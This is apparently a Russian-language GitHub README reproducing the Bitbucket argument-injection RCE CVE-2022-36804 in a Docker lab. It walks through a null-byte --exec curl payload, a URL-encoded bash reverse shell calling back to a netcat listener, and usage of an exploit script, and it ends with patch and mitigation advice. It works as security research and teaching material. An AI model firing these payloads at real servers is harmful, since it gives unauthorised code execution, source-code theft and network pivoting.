
Воспроизведение полной цепочки эксплуатации CVE-2022-36804 (Bitbucket RCE). Включает Docker-лабораторию, мониторинг pspy64 для проверки инъекции нулевого байта и собственный эксплойт-скрипт на Bash. Основано на исследовании Assetnote.
CVE-2022-36804 — это уязвимость уровня высокий/критический, связанная с внедрением аргументов в REST API Atlassian Bitbucket Server и Data Center.
Хотя официальная базовая оценка NVD (National Vulnerability Database) составляет 8.8 (High) исходя из предположения о необходимости прав на чтение (PR:L), в этом анализе уязвимость рассматривается как 9.8 (Critical) (PR:N). Если в целевом репозитории включён публичный доступ — частая конфигурация — вектор эксплуатации становится полностью пред-аутентификационным (без аутентификации).
Этот репозиторий документирует полную лабораторную репродукцию цепочки эксплуатации, основанную непосредственно на техническом исследовании, опубликованном Assetnote.
В анализе подробно описывается переход от оркестрации окружения и обхода фильтров безопасности к получению интерактивного reverse shell. Как указано в первоначальном исследовании, эта ошибка позволяет выполнять удалённое выполнение команд (RCE), которое может быть использовано без аутентификации, если в целевом репозитории включён публичный доступ.
Уязвимость коренится в «рассогласовании очистки» (Sanitization Impedance Mismatch) между средой выполнения Java-приложения и операционной системой Linux.
Как отмечено в исследовании Assetnote, Bitbucket использует библиотеку NuProcess для формирования и выполнения Git-команд. Когда пользователь передаёт параметр prefix в конечную точку /archive, Bitbucket не удаляет нулевые символы (%00) перед передачей списка аргументов в ОС.
execve() обрабатывает команду, оно обрезает строку на %00. Из-за того, как NuProcess передаёт данные, ОС рассматривает всё, что следует за null-байтом, как совершенно новый аргумент командной строки.Внедряя --exec=..., атакующий выходит за пределы предполагаемого флага --prefix и заставляет процесс git archive выполнить произвольный бинарный файл, что приводит к удалённому выполнению команд (RCE).
Чтобы понять, как эксплойт переходит от простого параметра URL к команде уровня ОС, необходимо разобрать структуру полезной нагрузки и проследить «сдвиг массива».
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
Для имитации реалистичной поверхности атаки лабораторная среда использует двухконтейнерную архитектуру, изолированную в мостовой сети Docker (hacking_net). Такая настройка гарантирует, что эксплуатация и мониторинг выполняются в контролируемой среде, не затрагивая хост-систему.
Узел-жертва: работает под управлением Atlassian Bitbucket Server версии 7.17.1. Контейнер намеренно назван bitbucket-victim. Это отражает важное проектное уточнение, сделанное для обеспечения соответствия требованиям Apache Tomcat по RFC 7230. Использование дефиса вместо подчёркивания позволяет среде избежать ошибок 400 «Invalid Character», возникающих во время выполнения полезной нагрузки, — ключевое техническое препятствие, обнаруженное и устранённое в ходе исследования.
Узел атакующего: специально подготовленный образ Kali Linux rolling. В отличие от стандартного образа, этот узел заранее укомплектован конкретным набором инструментов, необходимым для данной цепочки эксплойта: git для работы с репозиторием, curl для доставки полезной нагрузки и netcat-traditional для перехвата reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
Если вы уже развернули среду с помощью docker-compose.yml, приведённого выше, вы можете использовать включённый скрипт exploit.sh, чтобы проверить уязвимость и получить reverse shell за считанные секунды.
1. Подготовьте слушатель
На узле атакующего Kali (или на хост-машине) запустите netcat-слушатель для перехвата шелла:
nc.traditional -lvnp 4444
2. Запустите эксплойт
Запустите скрипт, указав IP целевого Bitbucket, имена проекта/репозитория и параметры вашего слушателя:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Проверьте доступ
После выполнения скрипта проверьте терминал netcat. У вас должна появиться интерактивная сессия под пользователем bitbucket.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
Ниже приведён исходный журнал выполнения лабораторной сессии с подробным описанием перехода от настройки среды к полностью интерактивному reverse shell, включая шаги по устранению неполадок, необходимые для обхода логики приложения и ограничений веб-сервера.
Я начал с развёртывания уязвимой среды и настройки целевого приложения.
docker-compose up -d --build, чтобы развернуть контейнеры атакующего Kali и Bitbucket-жертвы.http://localhost:7990 и дождался инициализации процедуры настройки Bitbucket.CVE и пустой репозиторий с именем Repo1.
Чтобы проверять внедрение в реальном времени, а не полагаться на слепое тестирование, я решил развернуть pspy64 для мониторинга процессов Linux.
pspy64 из официального репозитория GitHub.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) в контейнере-жертве, я выдал права на выполнение и запустил монитор:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
Переключившись на узел атакующего (docker exec -it kali_attacker bash), я отправил первоначальную полезную нагрузку удалённого выполнения команд, нацеленную на создание файла (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ в имени хоста.
-H "Host: localhost"), чтобы пропустить полезную нагрузку через веб-сервер к уровню приложения BitbucketОтправка обновлённой полезной нагрузки с заголовком Host привела к новой ошибке:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive отказывала в доступе. Я предположил, что это связано с тем, что git archive не может работать с пустым репозиторием — ему нужно дерево коммитов для разбора.README.md ("This is a test repository for CVE-2022-36804") и попытался отправить его из контейнера Kali.bitbucket_victim содержало запрещённое подчёркивание. Это подчёркивание преследует меня — урок усвоен!172.19.0.3), и отправил коммит, используя учётные данные администратора:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
После инициализации репозитория я снова отправил полезную нагрузку с изменённым заголовком Host:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Успех. Переключившись на терминал монитора, я увидел «неопровержимое доказательство». pspy64 зафиксировал точный момент, когда Java-процесс передал внедрённую строку с null-байтом ядру Linux. Как и предсказывал технический анализ, ОС обработала всё, что следовало за null-байтом, как новый аргумент.
После этого я выполнил ручную проверку внутри контейнера, подтвердив, что файл /tmp/pwned действительно был создан пользователем bitbucket (UID 2003).
Чтобы завершить Proof of Concept и продемонстрировать максимальный эффект, я перешёл от простого создания файла к получению полного интерактивного доступа к системе.
nc.traditional -lvnp 4444
Я получил внутренний IP контейнера Kali с помощью hostname -I, чтобы жертва знала, куда отправлять шелл.
Выполнил финальную полезную нагрузку. Я использовал URL-кодированный bash reverse shell, чтобы такие символы, как >, & и ', обходили парсеры HTTP-запросов Tomcat:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
Результат: подключение стабилизировалось. Я успешно получил интерактивный шелл под служебным пользователем bitbucket, что доказывает успешную и полную компрометацию сервиса.
Важно различать веб-приложение и базовую ОС. Этот reverse shell обеспечивает доступ к серверному окружению, а не права «Администратора» в интерфейсе Bitbucket.
Будучи внедрением аргументов на уровне ОС, шелл наследует привилегии родительского процесса — в данном случае служебной учётной записи bitbucket (UID 2003).
Хотя это не немедленный доступ root, воздействие всё равно критично:
Кража интеллектуальной собственности: несанкционированный доступ к базовым Git-объектам всех репозиториев, размещённых на инстансе, что фактически обходит внутреннее управление доступом на основе ролей (RBAC) приложения.
Сбор учётных данных: доступ к внутренним конфигурационным файлам и секретам базы данных.
Пивот (Pivoting): скомпрометированный сервер теперь можно использовать как шлюз для атаки на внутреннюю сеть.
В укреплённой среде это полная компрометация сервиса. Хотя для полного контроля над хостом потребуется дополнительное повышение привилегий, основная цель — доступ к интеллектуальной собственности организации — полностью достигнута.
Для защиты инстансов Bitbucket от этой уязвимости Atlassian выпустила патчи, которые реализуют строгую проверку параметра prefix и обновляют логику выполнения процессов, чтобы предотвратить разделение аргументов по null-байту.
Официальное исправление: обновите Bitbucket Server и Data Center до версий 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1 или любой версии, выпущенной после августа 2022 года.
Немедленное смягчение: если немедленное обновление невозможно, убедитесь, что публичный доступ отключён для всех репозиториев. Это не устраняет уязвимость, но смещает поверхность атаки с неаутентифицированного (Pre-Auth) вектора на аутентифицированный, требующий действительной учётной записи пользователя для выполнения.
Этот Proof of Concept был разработан на основе синтеза исследований из следующих первоисточников и лабораторных инструментов:
Исследование Assetnote: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) — первоначальное обнаружение и техническое описание.
Техническое вдохновение: Devcraft — GitHub RCE via Git Injection — исследование внедрения аргументов Git, вдохновившее открытие Assetnote.
Уязвимый образ: Atlassian Bitbucket Server 7.17.1 — конкретный слой контейнера, использованный для этой репродукции.
Инструмент мониторинга: pspy (Process Monitoring Tool) — используется для проверки внедрения аргументов в ядре Linux методом «белого ящика».
| Компонент | Назначение | Техническая роль |
|---|
prefix=x | Обязательное условие | git archive требует префикс; x выступает в роли заполнителя. |
%00 | Нож | Null-байт. Java пропускает его, но ядро Linux (на C) завершает здесь строку. |
--exec=... | Триггер RCE | Опасный флаг. Использует встроенную функцию Git для выполнения внешних программ. |
touch ... | Действие | Команда, которую нужно выполнить. Безопасный PoC для проверки RCE. |
--remote=... | Мусорная корзина | Поглощает идентификатор коммита (добавляемый Bitbucket) как допустимый аргумент, обеспечивая чистое выполнение команды без синтаксических ошибок. |
Это иллюстрирует суть уязвимости: как данные (префикс каталога) превращаются в инструкцию (флаг команды).
Контекст выполнения Java (исходное состояние):
Java видит одну длинную строку как третий аргумент.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Выполнение ядром Linux (эксплуатируемое состояние):
Системный вызов execve() ядра разбивает строку по каждому null-байту (\0), смещая внедрённые флаги в их собственные позиции в массиве аргументов процесса.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]